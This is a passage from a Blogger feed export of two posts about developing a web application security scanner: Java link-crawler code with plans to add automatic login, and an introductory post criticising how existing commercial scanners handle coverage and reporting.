n = 0; n < links.size(); n++) {</span><br /><span style="color: rgb(51, 102, 255);"> try {</span><br /><span style="color: rgb(0, 0, 153);"> <span style="color: rgb(255, 0, 0);">//Urls might be relative to current page</span></span><br /><span style="color: rgb(0, 0, 153);"> <span style="color: rgb(51, 102, 255);">Pattern p = Pattern.compile("^(htt[p|s]|ftp)");</span></span><br /><span style="color: rgb(51, 102, 255);"> </span><br /><span style="color: rgb(51, 102, 255);"> Matcher m = p.matcher(links.elementAt(n).toString());</span><br /><span style="color: rgb(51, 102, 255);"> if (m.find()){</span><br /><span style="color: rgb(51, 102, 255);"> URL hostLink = new URL((String) links.elementAt(n));</span><br /><span style="color: rgb(51, 102, 255);"> </span><br /><span style="color: rgb(0, 0, 153);"> <span style="color: rgb(255, 0, 0);">//The domain url needs to be the same as the one in starting url</span></span><br /><span style="color: rgb(51, 102, 255);"> if (_hostname.equals(hostLink.getHost())){</span><br /><span style="color: rgb(51, 102, 255);"> link = new URL(pageURL, (String) links.elementAt(n));</span><br /><span style="color: rgb(51, 102, 255);"> queue.push(link, level + 1);</span><br /><span style="color: rgb(51, 102, 255);"> }</span><br /><span style="color: rgb(51, 102, 255);"> }</span><br /><span style="color: rgb(51, 102, 255);"> else{</span><br /><span style="color: rgb(51, 102, 255);"> link = new URL(pageURL, (String) links.elementAt(n));</span><br /><span style="color: rgb(51, 102, 255);"> queue.push(link, level + 1); </span><br /><span style="color: rgb(51, 102, 255);"> } </span><br /><span style="color: rgb(51, 102, 255);"> </span><br /><span style="color: rgb(51, 102, 255);"> } catch (MalformedURLException e) {</span><br /><span style="color: rgb(0, 0, 153);"> <span style="color: rgb(255, 0, 0);">// Ignore malformed URLs, the link extractor might </span></span><span style="color: rgb(255, 0, 0);">have failed.</span><br /><span style="color: rgb(0, 0, 153);"> <span style="color: rgb(51, 102, 255);">}</span></span><br /><span style="color: rgb(51, 102, 255);"> }</span><br /><br /><span style="font-style: italic; font-weight: bold;">So, our Crawler is running.</span><br /><br />Now the next step is to also support Authentication so that whenever the Crawl find a login page, it can be able to authenticate automatically to keep identifying new urls (links).<br /><br /><span style="font-weight: bold;">There are 3 steps to do next: </span><br /><br />1. Prepare a configuration settings page where we can give the Scanner the Login URL and credentials to use while crawling.<br />2. Identify Cookies sent by Web Application so that we can keep the session alive.<br />3. Add this feature to the Crawler to authenticate automatically while crawling.<br /><br /><span style="color: rgb(153, 255, 153);">__END__</span>Danuxhttp://www.blogger.com/profile/06729243424924753220noreply@blogger.com0tag:blogger.com,1999:blog-4984553587728477254.post-84105505094304885322009-03-08T22:23:00.000-07:002010-07-18T19:04:10.844-07:00Building our own Web App Scanner - First TimeHi all, i decided to create this blog mainly to share and get knowledge from the community. I just started 3 months ago in the development of my own Web Application Security Scanner tool. Basically, this new tool will try to be the Next Generation Web App Scanner.<br /><br />I have been working with the main and famous Web App scanners and i think there is no tool nowadays that can be able to cover the 3 most important roles in this kinda efforts:<br /><br />1. Business<br />2. Developers<br />3. Testers<br /><br />Basically, i will be talking about WebInspect, Acunetix and Watchguard which are the tools i know and the ones from where i have been inspired to create my own one.<br /><br />Some tools focus on Business by delivering good security compliant reports, others focus on Testers by creating a good interface to reproduce vulnerabilities so that testers can avoid false positives and by the way, no one take cares of developers. I think this later team needs to understand how to reproduce a vuln so that it can try to fix it right? The problem is that this tools gives you the URL and parameter injected to find the bug but what about the Flow to follow to get to that POST request to inject the parameter? I mean, may be you need to authenticate and then click on the 5th check boxes which will displayed a new windows where you need to select "Save" button to get to the vulnerable request.<br /><br />What about Scan coverage? These tools show the URL's which they assessed and the bugs identified but who can guarantee the whole application got tested?<br />I ask business, how do you know that app is not missing some important sections or hidden transactions from your application?<br /><br />But in order to know if Scan Coverage was successful, business need to:<br /><br />Compare the 80 URLs of the app and the 1000 different POST/GET Parameters plus 4000 Lines of JavaScript (AJAX) against technical documentation of the Web App to try to identify any gap right??<br />But this human effort is not doable.<br /><br />Another question to business, these tools says "I am PCI Compliant" or "I am OWASP TOP Ten Compliant" but ... how can business validate all TOP Ten kinda attacks are being sent to your app? or how old are those kinda attacks?<br /><br />Technology supported by the tool.<br /><br />Lets suppose business have its own implementation of AJAX, how do you need the web app scanner tool is supporting it, and if not? the tool is informing you that it was not able to test such kinda "weird" transactions?<br /><br />Vulnerabilities management<br /><br />Ok, good, the tool found 50 confirmed vulnerabilities, so... what is next?? is there an integrated interface to deal with this new bugs until get them fixed by Dev Team?<br /><br /><br />These kinda improvements is what i think will generate the Next Gen Web App Scanner.<br /><br />In coming posts i will start talking about the new features i am integrating to my app and i will share the problems i am facing, how i worked them out and technical stuff!!!!!!Danuxhttp://www.blogger.com/profile/06729243424924753220noreply@blogger.com0